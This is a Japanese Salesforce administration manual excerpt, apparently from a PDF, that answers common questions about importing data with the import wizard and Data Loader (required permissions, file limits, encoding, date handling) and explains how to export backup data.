Salesforce にデータ一括アップロードできますか?
Group Edition、Professional Edition、Performance Edition、Unlimited Edition、Enterprise Edition、および Developer Edition で
は、取引先、取引先責任者、リード、カスタムオブジェクトのデータインポートウィザードが提供され、デー
タの一括インポートが可能です。これらにアクセスするには、[設定] から [データの管理]をクリックします。
さらに、Performance Edition、Unlimited Edition、Enterprise Edition、および Developer Edition では、データローダなどの
データベース一括アップロードツールを使用する API アクセスが提供されます。

データを Salesforce にアップロードする場合、Outlook を同期すべきですか、
それともインポートウィザードを使用すべきですか?
次の情報を参考にして、データを Salesforce 組織にアップロードする方法を判断します。
• 複数のユーザの取引先および取引先責任者を同時にアップロードする場合は、データインポートウィザー

ドを使用し、[取引先と取引先責任者] を選択します。
• Microsoft Outlook 以外のアプリケーションから取引先責任者をアップロードする場合は、データインポート

ウィザードを使用し、[取引先と取引先責任者] を選択します。
• Outlook の連絡先、アカウント、および予定表イベントをSalesforceと同期して最新の状態にする場合は、デー

タを初めて同期するときも、2 回目以降にデータを更新するときも、Lightning Syncまたは Salesforce for Outlook

を使用することをお勧めします。
• カスタムオブジェクト、リード、ソリューションをアップロードする場合は、データインポートウィザー

ドを使用して、これらのレポートを Salesforce にインポートする適切なオブジェクトを選択します。これら
のレコードは、Lightning Sync や Salesforce for Outlook を使用して同期できません。

• 複数のユーザの法人取引先および取引先責任者を同時にアップロードする場合は、データインポートウィ
ザードを使用し、[取引先と取引先責任者] を選択します。
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• 個人取引先をアップロードする場合は、私の個人取引先のインポートウィザードを使用します。

メモ: 個人取引先をインポートするときは、次の制限が適用されます。
• 統合データインポートウィザードは、個人取引先をサポートしていません。
• 個人取引先は、Salesforce for Outlook を使用してアップロードできません。
• Salesforce に個人取引先がすでに存在する場合に限り、Outlook の連絡先を Salesforce の個人取引先と同期

できます (同期しても、Outlook の連絡先が Salesforce の個人取引先に変換されることはありません)。
個人取引先のインポートについての詳細は、「データインポートウィザード」 (ページ 756)を参照してく
ださい。

組織で誰がインポートウィザードを使用できますか?
個人取引先が有効化された Enterprise Edition、Unlimited Edition、Performance Edition、または Developer Edition の組織
では、すべてのユーザが [私の個人取引先のインポート] ウィザードを使用できます。
組織全体のデータインポートウィザードを使用して、複数ユーザの取引先、取引先責任者、リード、ソリュー
ション、またはカスタムオブジェクトを一度にインポートできます。Personal Edition では、データインポート
ウィザードを使用できません。Contact Manager Edition では、データインポートウィザードでリードとソリュー
ションを使用できません。Group Edition では、データインポートウィザードでソリューションを使用できませ
ん。

重要: Salesforceでは、取引先、取引先責任者、およびその他のオブジェクトの個々のインポートウィザー
ドがデータインポートウィザードに置き換えられました。個々のインポートウィザードは小さなポップ
アップウィンドウで開きますが、データインポートウィザードはフルブラウザ (URL の末尾は dataimporter.app)

で開きます。[設定] から、[クイック検索] ボックスに「データインポートウィザード」と入力し、[データ
インポートウィザード] を選択します。表示されるオプションは、権限によって異なります。

レコードをインポートするのに必要な権限は何ですか?

データローダ
データローダでのレコードのインポートには、次の権限が必要です。
• オブジェクトに対する「参照」、「作成」、「編集」、および「削除」
• 「API の有効化」
• 「Bulk API の物理削除」(Bulk APIを使用してレコードを物理削除するようにデータローダを設定している場合

のみ)

データインポートウィザード

必要なユーザ権限インポートオプション

取引先に対する「作成」
および

データインポートウィザードを使用して自分が所有す
る取引先と取引先責任者をインポートする
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必要なユーザ権限インポートオプション

取引先に対する「編集」
および
「個人データのインポート」

取引先に対する「作成」
および

データインポートウィザードを使用して他のユーザが
所有する取引先と取引先責任者をインポートする

取引先および取引先責任者に対する「編集」
および
「すべてのデータの編集」

「リードのインポート」データインポートウィザードを使用してリードをイン
ポートする

「カスタムオブジェクトのインポート」
および

データインポートウィザードを使用してカスタムオブ
ジェクトデータをインポートする

カスタムオブジェクトに対する「編集」

「ソリューションのインポート」データインポートウィザードを使用してソリューショ
ンをインポートする

ユーザ情報で [マーケティングユーザ] が選択されて
いること
および

データインポートウィザードを使用してキャンペーン
メンバーを追加または更新する

取引先責任者に対する「参照」、または「リードのイ
ンポート」
および
キャンペーンに対する「編集」

ユーザ情報で [マーケティングユーザ] が選択されて
いること
および

データインポートウィザードを使用して自分が所有す
る取引先責任者をキャンペーンに追加する

取引先に対する「作成」
および
取引先責任者に対する「参照」
および
取引先およびキャンペーンに対する「編集」
および
「個人データのインポート」
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必要なユーザ権限インポートオプション

ユーザ情報で [マーケティングユーザ] が選択されて
いること
および

データインポートウィザードを使用して自分が所有す
る取引先責任者を作成してキャンペーンに追加する

取引先に対する「作成」
および
取引先責任者に対する「参照」
および
取引先およびキャンペーンに対する「編集」
および
「個人データのインポート」

ユーザ情報で [マーケティングユーザ] が選択されて
いること
および

データインポートウィザードを使用して他のユーザが
所有する取引先責任者をキャンペーンに追加する

取引先に対する「作成」
および
取引先責任者に対する「参照」
および
取引先、取引先責任者、およびキャンペーンに対する
「編集」
および
「すべてのデータの編集」

ユーザ情報で [マーケティングユーザ] が選択されて
いること
および

データインポートウィザードを使用して他のユーザが
所有する取引先責任者を作成してキャンペーンに追加
する

取引先に対する「作成」
および
取引先責任者に対する「参照」
および
取引先、取引先責任者、およびキャンペーンに対する
「編集」
および
「すべてのデータの編集」
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必要なユーザ権限インポートオプション

ユーザ情報で [マーケティングユーザ] が選択されて
いること
および

データインポートウィザードを使用して既存のリード
をキャンペーンに追加する

キャンペーンに対する「編集」
および
「リードのインポート」

ユーザ情報で [マーケティングユーザ] が選択されて
いること
および

データインポートウィザードを使用してリードを作成
してキャンペーンに追加する

キャンペーンに対する「編集」
および
「リードのインポート」

取引先に対する「作成」
および

データインポートウィザードを使用して自分が所有す
る個人取引先をキャンペーンに追加する

取引先に対する「編集」
および
「個人データのインポート」

取引先に対する「作成」
および

データインポートウィザードを使用して自分が所有す
る個人取引先を作成する

取引先に対する「編集」
および
「個人データのインポート」

取引先に対する「作成」
および

データインポートウィザードを使用して他のユーザが
所有する個人取引先をキャンペーンに追加する

取引先および取引先責任者に対する「編集」
および
「すべてのデータの編集」

取引先に対する「作成」
および

データインポートウィザードを使用して他のユーザが
所有する個人取引先を作成する

取引先および取引先責任者に対する「編集」
および
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必要なユーザ権限インポートオプション

「すべてのデータの編集」

重要: Salesforceでは、取引先、取引先責任者、およびその他のオブジェクトの個々のインポートウィザー
ドがデータインポートウィザードに置き換えられました。個々のインポートウィザードは小さなポップ
アップウィンドウで開きますが、データインポートウィザードはフルブラウザ (URL の末尾は dataimporter.app)

で開きます。[設定] から、[クイック検索] ボックスに「データインポートウィザード」と入力し、[データ
インポートウィザード] を選択します。表示されるオプションは、権限によって異なります。

インポートウィザードはどのようなファイル形式を処理できますか?
ACT! や Outlook のファイルからは、取引先責任者情報や法人取引先情報を直接インポートできます。また、
GoldMine や Excel などの場合、CSV 形式 (カンマ区切り値) のファイルから直接インポートできます。任意の CSV

ファイルからリード、ソリューション、カスタムオブジェクト、または個人取引先をインポートできます。

メモ: カンマを使用しない地域の場合は、タブまたはその他の区切り文字を使用します。データローダの
設定 ([設定] | [設定]) で区切り文字を指定します。

どのデータをインポートできますか?
インポートウィザードを使用して、次のレコードをインポートできます。
キャンペーンメンバーの状況

Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、および Developer Edition の組織では、
データインポートウィザードを使用してキャンペーンメンバーの状況をインポートします。

取引先責任者と法人取引先
データインポートウィザードを使用して、取引先責任者と法人取引先をインポートします。
Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、および Developer Edition の組織では、
取引先責任者と法人取引先のメモもインポートできます。

個人取引先
Enterprise Edition、Unlimited Edition、Performance Edition、および Developer Edition の組織では、[個人取引先のイン
ポート] ウィザードを使用して、自分が所有する個人取引先をインポートします。システム管理者は、[組
織の個人取引先のインポート] ウィザードを使用して、複数のユーザの個人取引先をインポートできます。

リード
Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、および Developer Edition の組織では、
データインポートウィザードを使用してリードをインポートします。

ソリューション
Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、および Developer Edition の組織では、
データインポートウィザードを使用してソリューションをインポートします。
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カスタムオブジェクト
Contact Manager Edition、Group Edition、Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、
および Developer Edition の組織では、データインポートウィザードを使用してカスタムオブジェクトをイン
ポートします。

参照および編集アクセス権がある場合にのみ、項目に値をインポートできます。項目のアクセス権は、ユーザ
権限、ページレイアウトの割り当て、および項目レベルセキュリティ設定によって決まります。
他のレコードのインポートウィザードは使用できません。

重要: Salesforceでは、取引先、取引先責任者、およびその他のオブジェクトの個々のインポートウィザー
ドがデータインポートウィザードに置き換えられました。個々のインポートウィザードは小さなポップ
アップウィンドウで開きますが、データインポートウィザードはフルブラウザ (URL の末尾は dataimporter.app)

で開きます。[設定] から、[クイック検索] ボックスに「データインポートウィザード」と入力し、[データ
インポートウィザード] を選択します。表示されるオプションは、権限によって異なります。

インポートファイルの最大サイズは?
インポートファイルは最大 100 MB にすることができますが、ファイルの各レコードは 400 KB を超えることがで
きず、これは約 4,000 文字に相当します。インポートできる項目の数を判断するには、4,000/ (API 項目名の平均
文字数 * 2) という数式を使用します。たとえば、項目の平均文字数が 40 である場合は、約 50 の項目をインポー
トできます。また、インポートされるメモと説明はそれぞれ、32 KB を超えることはできません。32KB より長
い説明は切り捨てられます。
インポートは、組織のストレージ制限にも左右されます。インポートファイルのサイズは、レコードに必要な
ディスク容量と直接には相関しません。たとえば、インポートファイルが 50 MB でも、Salesforceで 50 MB のデー
タが作成されるとは限りません。

重要: Salesforceでは、取引先、取引先責任者、およびその他のオブジェクトの個々のインポートウィザー
ドがデータインポートウィザードに置き換えられました。個々のインポートウィザードは小さなポップ
アップウィンドウで開きますが、データインポートウィザードはフルブラウザ (URL の末尾は dataimporter.app)

で開きます。[設定] から、[クイック検索] ボックスに「データインポートウィザード」と入力し、[データ
インポートウィザード] を選択します。表示されるオプションは、権限によって異なります。

データローダにログインできないのはなぜですか?

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

データローダへのログインに問題がある場合は、次の解決策を試してください。
• セキュリティトークンをパスワードの最後に追加して、データローダにログ

インする。
• 次の手順に従って、データローダで適切なサーバを指すように [サーバホス

ト] を変更する。
1. データローダを開始します。
2. [Settings (設定)] > [Settings (設定)] に移動します。
3. [サーバホスト] を https://yourInstance.salesforce.com/ に設定

します。ここで、instance_name は実行する Salesforce インスタンスで
す。
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4. 設定を保存するには、[OK] をクリックします。
• システム管理者に、自分がプロキシサーバの内側で作業しているかどうかを確認する。これが当てはまる

場合は、データローダの設定を調整します。プロキシサーバの内側にある API を使用している場合、プロキ
シサーバによって API が Salesforce サーバへの接続が阻止されます。つまり、[ログイン履歴] の下に API に関
する情報は表示されません。

• 別のコンピュータにログインを試行して、ローカルデバイスの設定が問題の原因でないことを確認する。

関連トピック:

セキュリティトークンのリセット
組織の信頼済み IP 範囲の設定

データローダが特殊文字をインポートしないのはなぜですか?
データローダが ö、ñ、または é などの特殊文字をインポートできない場合、ソースデータファイルが適切に符
号化されていない可能性があります。ファイルが適切に符号化されるようにする手順は、次のとおりです。
1. .xls 形式でソースデータファイルに必要な変更を行います。
2. Microsoft® Excel® で、ファイルのコピーを Unicode テキストファイルとして保存します。
3. 保存した Unicode テキストファイルをテキストエディタで開きます。
4. [ファイル] > [別名で保存] をクリックして、次のようにファイル設定を変更します。

• ファイル名の拡張子 — .csv

• 保存ファイルの種類 — [すべてのファイル]

• 文字コード — [UTF-8]

5. [保存] をクリックして、ファイルを閉じます。

メモ: これらの設定を保存した後にファイルを開かないでください。開くと、文字コードの変更が元
に戻る可能性があります。

6. 通常どおりにデータローダを使用してデータをインポートし、新しく作成された .csv ファイルを選択しま
す。

カスタム項目にインポートできますか?
はい。システム管理者は、インポート前にカスタム項目を作成する必要があります。
チェックボックス項目の場合、項目値が 1 のレコードはインポート時にオンに設定され、値が 0 の場合はオフ
に設定されます。

関連トピック:

データの Salesforce へのインポート
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自分のページレイアウトにない項目にインポートできますか?
いいえ。参照および編集アクセス権がある場合にのみ、項目に値をインポートできます。項目のアクセス権
は、ユーザ権限、ページレイアウトの割り当て、および項目レベルセキュリティ設定によって決まります。

重要: Salesforceでは、取引先、取引先責任者、およびその他のオブジェクトの個々のインポートウィザー
ドがデータインポートウィザードに置き換えられました。個々のインポートウィザードは小さなポップ
アップウィンドウで開きますが、データインポートウィザードはフルブラウザ (URL の末尾は dataimporter.app)

で開きます。[設定] から、[クイック検索] ボックスに「データインポートウィザード」と入力し、[データ
インポートウィザード] を選択します。表示されるオプションは、権限によって異なります。

値が一致しない場合、データを選択リスト項目にインポートできますか?
既存の選択リストがデータを正確に表す場合、完全な値が一致しなくても、その選択リストにデータをイン
ポートすることをお勧めします。インポートウィザードでは、新しい選択リスト値をインポートする前に警告
を通知します。ただし、ウィザードは、事前に定義されていない値でも、選択リスト項目のすべての値を受け
入れます。インポート後、システム管理者は選択リストを編集して必要な値を追加できます。インポートウィ
ザードでインポートできる新規選択リストの値、または複数選択リストの値は、どの項目に対しても、1 回の
インポート中に 100 件までに制限されています。

重要: Salesforceでは、取引先、取引先責任者、およびその他のオブジェクトの個々のインポートウィザー
ドがデータインポートウィザードに置き換えられました。個々のインポートウィザードは小さなポップ
アップウィンドウで開きますが、データインポートウィザードはフルブラウザ (URL の末尾は dataimporter.app)

で開きます。[設定] から、[クイック検索] ボックスに「データインポートウィザード」と入力し、[データ
インポートウィザード] を選択します。表示されるオプションは、権限によって異なります。

間違ったデータをインポートしてしまった場合、そのデータを削除することは
できますか?
システム管理者は [設定] から [クイック検索]ボックスに「一括削除」と入力し、[レコードの一括削除]を選択
して、間違ってインポートされた取引先、取引先責任者、リード、またはソリューションの一括削除を実行で
きます。間違ってインポートされたカスタムオブジェクトは一括削除できません。

データインポートウィザードを使用して、指定した Salesforce ID に一致するレ
コードを更新する方法は?
データインポートウィザードで、レコード ID を一意の識別子として使用して、リード、取引先責任者、また
は取引先を更新できます。これらのステップはカスタムオブジェクトには適用されません。

メモ: これらのステップでは、ユーザがSalesforceに関する管理者レベルの知識を持っていることを想定し
ています。

開始する前に、更新するデータを準備します。
1. レコード ID と更新する項目を含む、更新するレコードの表形式レポートを作成します。
2. バックアップ用に .csv ファイルとしてレポートをローカルに保存します。
3. [別名で保存] をクリックして新しいバージョンの .csv ファイルを作成し、データを変更します。
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4. [保存] をクリックします。
レポートを更新したら、.csv ファイルを Salesforce にインポートします。ステップは、更新するレコードによっ
て異なります。

リードを更新する手順
1. [設定] から、[クイック検索]ボックスに「データインポートウィザード」と入力し、[データインポートウィ

ザード] を選択します。
2. [ウィザードを起動する] をクリックします。
3. [リード] を選択して、[既存のレコードを更新] を選択します。
4. [リードの一致条件] を Salesforce.com ID に設定します。
5. インポートデータが含まれている CSV ファイルを選択して、[次へ] をクリックします。
6. [リード ID] 項目を CSV ファイルの [リード ID] 列に対応付けて、他の項目を対応付けます。
7. [次へ] をクリックします。
8. インポート設定を確認して、[インポートを開始] をクリックします。

取引先または取引先責任者を更新する手順
1. [設定] から、[クイック検索]ボックスに「データインポートウィザード」と入力し、[データインポートウィ

ザード] を選択します。
2. [ウィザードを起動する] をクリックします。
3. [取引先と取引先責任者] を選択して、[既存のレコードを更新] を選択します。
4. [取引先責任者の一致条件] を Salesforce.com ID に設定します。
5. [取引先の一致条件] を Salesforce.com ID に設定します。
6. [既存の取引先情報を更新] を選択します。
7. インポートデータが含まれている CSV ファイルを選択して、[次へ] をクリックします。
8. 取引先責任者 ID、電話、および住所の各項目を CSV ファイルの該当する列に対応付けます。
9. 取引先責任者 ID および他の項目を CSV ファイルの該当する列に対応付けます。
10. [次へ] をクリックします。
11. インポート設定を確認して、[インポートを開始] をクリックします。
データインポートウィザードによって、ファイル内のレコード ID と Salesforce 内のレコード ID が照合され、対
応付けられた項目が更新されます。

関連トピック:

データインポートウィザード
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データローダを使用すると日付項目のインポートが正しく行われないのはなぜ
ですか?
データローダを使用して日付項目をインポートすると、インポートされた .csv ファイルに指定されている日付
をデータローダは GMT に変換するため、日付のインポートが正しく行われない場合があります。マシンのタ
イムゾーンが GMT ではないか、マシンの時計が夏時間 (DST) に合わせて調整されている場合、日付が 1 日ずれ
る可能性があります。
GMT に変換する場合に、データローダによって日付が調整されないようにするには、ネイティブのタイムゾー
ンを反映するように、日付を含むセルの形式を直接変更します。
1. .csv ファイルを Microsoft® Excel® で開きます。
2. 日付を入力した各セルに、ネイティブのタイムゾーンを表す時間データを追加します。たとえば、日付が

2011 年 6 月 9 日でタイムゾーンが GMT+8 である場合、June 9, 2011 8:00と入力します。Excel によって、
これは 09.06.11 08:00:00 に再度書式設定されます。

3. 日付を入力したセルを右クリックして、[セルの書式設定] をクリックします。
4. [数値] > [ユーザ定義] をクリックします。
5. [種類] に yyyy-mm-ddThh:mm:ss.sssZ と入力します。たとえば、セルが 6/9/2011 8:00 であった場

合、[2011–06–09T08:00:00.00Z] になります。

ファイルのインポートの所要時間は?
個人ユーザのインポートウィザードの場合、所要時間はデータ量によって異なりますが、平均すると数分で完
了します。
システム管理者のインポートウィザードは非同期で動作し、ファイルが正常にインポートされるとメール通知
を受け取ります。非同期のインポートは、数分で完了する場合もあります。24 時間以上かかることはありませ
ん。

重要: Salesforceでは、取引先、取引先責任者、およびその他のオブジェクトの個々のインポートウィザー
ドがデータインポートウィザードに置き換えられました。個々のインポートウィザードは小さなポップ
アップウィンドウで開きますが、データインポートウィザードはフルブラウザ (URL の末尾は dataimporter.app)

で開きます。[設定] から、[クイック検索] ボックスに「データインポートウィザード」と入力し、[データ
インポートウィザード] を選択します。表示されるオプションは、権限によって異なります。

ファイルのインポートが遅れる理由は?
インポート量を管理して、すべてのユーザが最大のパフォーマンスレベルを得られるように、組織のインポー
トートファイルは、「非同期」モードで受け付けられます。つまり、ファイルは制御されたキューを通過し、
システムがデータを最適に管理できるタイミングでインポートされます。ただし、組織のインポートが完了す
るまでに 24 時間を超えることはありません。インポートが完了すると、メールで通知されます。
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通貨が異なる金額をインポートできますか?
Group Edition、Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、または Developer Edition の
組織でマルチ通貨を使用できるように設定している場合は、インポートファイルの [通貨 ISO コード] 列を
使用して、通貨が異なる金額をインポートできます。

カスタマーサポートでデータのインポートを助けてもらえますか?
カスタマーサポートでは、インポート処理について、Group Edition、Contact Manager、Professional Edition、Enterprise

Edition、Unlimited Edition、および Performance Edition の組織を支援します。

データを複数の言語でインポートできますか?
インポートウィザードは、一度に 1 つの言語 (ユーザがインポートのときに使用する言語) をインポートしま
す。異なる言語で表現した同じデータがある場合は、言語ごとにインポートを実行します。

重要: Salesforceでは、取引先、取引先責任者、およびその他のオブジェクトの個々のインポートウィザー
ドがデータインポートウィザードに置き換えられました。個々のインポートウィザードは小さなポップ
アップウィンドウで開きますが、データインポートウィザードはフルブラウザ (URL の末尾は dataimporter.app)

で開きます。[設定] から、[クイック検索] ボックスに「データインポートウィザード」と入力し、[データ
インポートウィザード] を選択します。表示されるオプションは、権限によって異なります。

レコードを一括更新する方法は?
50,000 件を超えるものの、500 万件未満であるレコードを更新するには、データローダを使用します。
500 万件を超えるレコードを更新するには、Salesforce パートナーと連携するか、App Exchange にアクセスして適
切なパートナー製品を使用することをお勧めします。

空白の値を使用した項目の更新方法は?
Null 値で項目を置き換えるには、データローダを使用する必要があります。
1. [開始] > [すべてのプログラム] > [Salesforce] > [データローダ] > [データローダ] を選択してデータローダを開

きます。
2. [エクスポート]をクリックしてウィザードを完了します。操作が完了したら、[抽出を表示]をクリックしま

す。
3. [外部プログラムで開く] をクリックしてデータを Excel で開きます。更新する項目を空白にします。
4. データローダで、[設定] > [設定] を選択して、[null 値を挿入] を選択します。設定を保存するには、[OK] を

クリックします。
5. [更新] をクリックし、ウィザードに従ってデータを再インポートします。

外部 ID とは?
カスタムオブジェクト、ソリューション、または個人取引先をインポートする場合は、外部 ID を使用してイ
ンポートで重複したレコードが作成されるのを防ぐことができます。
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外部 ID は、外部 ID 属性を持つカスタム項目です。つまり、外部 ID にはSalesforce以外のシステムの一意のレコー
ド識別子が含まれています。このオプションを選択すると、データインポートウィザードは、インポートファ
イル内の外部 ID と一致する外部 ID を持つ Salesforce 内の既存のレコードを検出します。この操作では、大文字
と小文字は区別されません。たとえば、「ABC」は「abc」と一致します。ただし、外部 ID 項目に大文字と小文
字が区別される一意属性もある場合は、大文字と小文字は同一とはみなされません。

1 回にインポートできるキャンペーンメンバー件数は何件ですか?
データインポートウィザードを使用する場合、インポートファイルには最大50,000行のレコードを含めること
ができます。インポートは、組織全体のディスク使用量の制限の対象にもなります。

誰がキャンペーンメンバーをインポートできますか?
必要な権限を持つユーザのみが、データインポートウィザードを使用してキャンペーンメンバーをインポート
できます。

必要なユーザ権限インポートオプション

ユーザ情報で [マーケティングユーザ] が選択されて
いること
および

データインポートウィザードを使用してキャンペーン
メンバーを追加または更新する

取引先責任者に対する「参照」、または「リードのイ
ンポート」
および
キャンペーンに対する「編集」

ユーザ情報で [マーケティングユーザ] が選択されて
いること
および

データインポートウィザードを使用して自分が所有す
る取引先責任者をキャンペーンに追加する

取引先に対する「作成」
および
取引先責任者に対する「参照」
および
取引先およびキャンペーンに対する「編集」
および
「個人データのインポート」

ユーザ情報で [マーケティングユーザ] が選択されて
いること
および

データインポートウィザードを使用して自分が所有す
る取引先責任者を作成してキャンペーンに追加する

取引先に対する「作成」
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必要なユーザ権限インポートオプション

および
取引先責任者に対する「参照」
および
取引先およびキャンペーンに対する「編集」
および
「個人データのインポート」

ユーザ情報で [マーケティングユーザ] が選択されて
いること
および

データインポートウィザードを使用して他のユーザが
所有する取引先責任者をキャンペーンに追加する

取引先に対する「作成」
および
取引先責任者に対する「参照」
および
取引先、取引先責任者、およびキャンペーンに対する
「編集」
および
「すべてのデータの編集」

ユーザ情報で [マーケティングユーザ] が選択されて
いること
および

データインポートウィザードを使用して他のユーザが
所有する取引先責任者を作成してキャンペーンに追加
する

取引先に対する「作成」
および
取引先責任者に対する「参照」
および
取引先、取引先責任者、およびキャンペーンに対する
「編集」
および
「すべてのデータの編集」

ユーザ情報で [マーケティングユーザ] が選択されて
いること
および

データインポートウィザードを使用して既存のリード
をキャンペーンに追加する

キャンペーンに対する「編集」
および
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必要なユーザ権限インポートオプション

「リードのインポート」

ユーザ情報で [マーケティングユーザ] が選択されて
いること
および

データインポートウィザードを使用してリードを作成
してキャンペーンに追加する

キャンペーンに対する「編集」
および
「リードのインポート」

取引先に対する「作成」
および

データインポートウィザードを使用して自分が所有す
る個人取引先をキャンペーンに追加する

取引先に対する「編集」
および
「個人データのインポート」

取引先に対する「作成」
および

データインポートウィザードを使用して他のユーザが
所有する個人取引先をキャンペーンに追加する

取引先および取引先責任者に対する「編集」
および
「すべてのデータの編集」

キャンペーンメンバーに割り当てられる状況はどのようなものですか?
データインポートウィザードを使用すると、インポートファイル内の列を [状況] 項目に対応付けられます。
状況値が空白または無効である場合は、デフォルトの状況に設定されます。

822

インポートに関する一般的な質問Salesforce 組織の設定および管理



Salesforce からバックアップデータをエクスポートする

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

ウィークリーエクスポー
トを使用できるエディ
ション: Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

マンスリーエクスポート
を使用できるエディショ
ン: Database.com Edition を
除くすべての Edition

ユーザ権限

データをエクスポートす
る
• 「ウィークリーデータ

のエクスポート」

Salesforce 組織では、使用するエディションに応じて週次または月次でデータの
バックアップファイルを生成できます。組織の全データを、カンマ区切り値 (CSV)

ファイルでエクスポートできます。

メモ: 「ウィークリーデータのエクスポート」権限を持つユーザは、[エク
スポートサービス] ページのすべてのエクスポートデータ、およびすべての
カスタムオブジェクトと項目を表示できます。この権限は、非常に広範な
アクセスを可能にするため、デフォルトではシステム管理者プロファイル
にのみ付与されています。

バックアップファイルを 7 日ごとに一度 (ウィークリーエクスポート) または 29

日ごとに一度 (マンスリーエクスポート) 手動で生成できます。Professional Edition

と Developer Edition では、バックアップファイルを 29 日ごとにのみ生成できます。
または、バックアップファイルを週次または月次間隔で自動的に生成するよう
にスケジュールすることもできます (Professional Edition と Developer Edition では、月
次間隔のみ使用可能)。
通信が混雑していたためにエクスポートの配信が遅延することがあります。た
とえば、4 月 1 日以降、月末まで毎週エクスポートを実行するようにスケジュー
ルしたとします。最初のエクスポート要求がキューに入りましたが、通信が混
雑したため、エクスポートは 4 月 8 日まで配信されません。4 月 7 日に 2 回目の
エクスポート要求の処理がスケジュールされたとき、最初の要求がキューにま
だ残っています。そのため、2 回目の要求は 4 月 14 日まで処理されません。

メモ: 有効ユーザのみがジョブをエクスポートできます。無効ユーザがエ
クスポートをスケジュールした場合、エラーメールが生成され、エクスポー
トは実行されません。

1. [設定] から、[クイック検索] ボックスに「データのエクスポート」と入力し、[データのエクスポート] と、
[今すぐエクスポート] または [エクスポートをスケジュール] を選択します。
• [今すぐエクスポート]オプションを選択すると、すぐにファイルのエクスポート準備が行われます。こ

のオプションは、前回のエクスポートから十分な時間が経過している場合にのみ使用できます。
• [エクスポートをスケジュール]オプションを選択すると、週次または月次間隔でエクスポート処理をス

ケジュールできます。

2. エクスポートファイルに使用する希望の文字コードを選択します。
3. エクスポートデータにこれらの項目を含める場合は、[画像、ドキュメント、および添付ファイルを含める]

と [Chatter ファイルおよび Salesforce CRM Content ドキュメントバージョンを含める] を選択しま
す。

メモ: エクスポートに特殊なコンテンツを含めると、データのエクスポート処理時間が長くなります。

4. エクスポートファイルに改行記号の代わりにスペースを含める場合は、[改行をスペースに置換] を選択し
ます。エクスポートファイルをインポートまたは他のインテグレーションに使用する場合、これを選択す
ると役立ちます。
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5. エクスポートをスケジュールする場合、エクスポートの頻度 (マンスリーエクスポートを使用する組織の
み)、開始日と終了日、および時刻を選択します。

6. [エクスポートデータ] の下で、エクスポートに含めるデータ型を選択します。一部のデータ型に使用され
ている用語に精通していない場合は、[すべてのデータを含める] を選択することをお勧めします。次の点
に注意してください。
• 数式項目と積み上げ集計項目は、エクスポートからは常に除外されます。
• 組織でディビジョンを使用している場合は、すべてのディビジョンのデータがエクスポートに含まれま

す。
• 個人取引先を使用している組織から取引先をエクスポートしている場合は、すべての取引先項目が取引

先データに含まれます。
• 個人取引先を使用している組織から取引先責任者をエクスポートしている場合は、個人取引先のレコー

ドが取引先責任者のデータに含まれます。ただし、取引先責任者のデータには、取引先責任者間および
個人取引先アカウント間で共有されている項目のみが含まれます。

7. [エクスポートの開始] または [保存] をクリックします。
Salesforce では、CSV ファイルを圧縮した zip アーカイブを作成し、準備が整ったら、エクスポートをスケ
ジュールしたユーザにメールを送信します。この通知のメールアドレスは変更できません。エクスポート
はできるだけ早く処理されますが、エクスポートが完了する日時を保証することはできません。大きなエ
クスポートは、複数のファイルに分割されます。zip ファイルをダウンロードするには、このメールにある
リンクまたは [データのエクスポート]をクリックします。zip ファイルは、メールを送信してから 48 時間後
に削除されます。

メモ: セキュリティ上の理由から、Salesforceは組織からデータをエクスポートするときに CAPTCHA ユー
ザ認証テストを要求することがあります。簡単なテキスト入力型のテストで、悪意のあるプログラム
による組織のデータへのアクセスを回避します。このテストに合格するには、表示された 2 語をフロー
ト表示のテキストボックスに正確に入力する必要があります。テキストボックスに入力する語は、ス
ペースで区切る必要があります。

バックアップデータのエクスポートに関する考慮事項
Sandbox はサポート外

データエクスポートサービスは、Sandbox ではサポートされません。sandbox でエクスポートを要求できま
すが、エクスポートは処理されないため完了しません。キューに入った後でエクスポート要求を削除する
唯一の方法は、Sandbox の更新です。

ファイルサイズに関する考慮事項
組織のデータサイズが大きい場合、複数の .csv ファイルおよび .zip アーカイブが作成されます。
• 1 つの .csv ファイルで可能な最大サイズは約 150 MB です。オブジェクト内のデータが 150 MB を超えると、

そのオブジェクトに複数の .csv ファイルが作成されます。
• 各 .zip アーカイブファイルには 1 つ以上の .csv ファイルが含まれます。.zip アーカイブの最大サイズは約

512 MB です。エクスポートデータの合計サイズが 512 MB より大きい場合、エクスポートでは複数の .zip

ファイルが生成されます。
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エクスポートファイルの調整
選択した文字コードによっては、エクスポートファイルを表示する前に調整が必要な場合があります。選択し
た文字コードに適用される、次の手順を実行します。
• Unicode (UTF-8) でエンコードされたエクスポートファイルの表示
• Unicode (UTF-16、Big Endian) でエンコードされたエクスポートファイルの表示
• Unicode (Little Endian) でエンコードされたエクスポートファイルの表示

Unicode (UTF-8) でエンコードされたエクスポートファイルの表示
Microsoft Excel 2003 の場合:

1. Microsoft Excel を開きます。
2. [ファイル] > [新規] をクリックします。
3. [データ] > [外部データをインポート] > [データをインポートする] をクリックします。
4. Microsoft Excel のテキストインポートウィザードで CSV ファイルを選択します。
5. [区切り文字で区切られています。] を選択し、[元のファイル] で [Unicode (UTF-8)] オプションを選択します。
6. [次へ] をクリックします。
7. [区切り文字] で[コンマ]を選択し、[完了]をクリックします。セルの範囲を選択するように要求されること

があります。

メモ: カンマを使用しない地域の場合は、タブまたはその他の区切り文字を使用します。データロー
ダの設定 ([設定] | [設定]) で区切り文字を指定します。

8. 各ファイルに対して上記の手順を繰り返します。
Microsoft Excel の旧バージョン (2003 よりも前) の場合:

1. Microsoft Excel でファイルを開きます。
2. [ファイル] > [別名で保存] を選択します。
3. [Web ページ] としてファイルを保存します。
4. [ツール] > [オプション] > [一般情報] タブを選択し、[Web オプション] ボタンをクリックします。
5. [エンコード] タブを選択し、[Unicode (UTF-8)] オプションを選択します。
6. ダイアログボックスを閉じるには、[OK] をクリックします。
7. 選択した文字コードでファイルを保存するには、[ファイル] > [保存] を選択します。
8. 各ファイルに対して上記の手順を繰り返します。

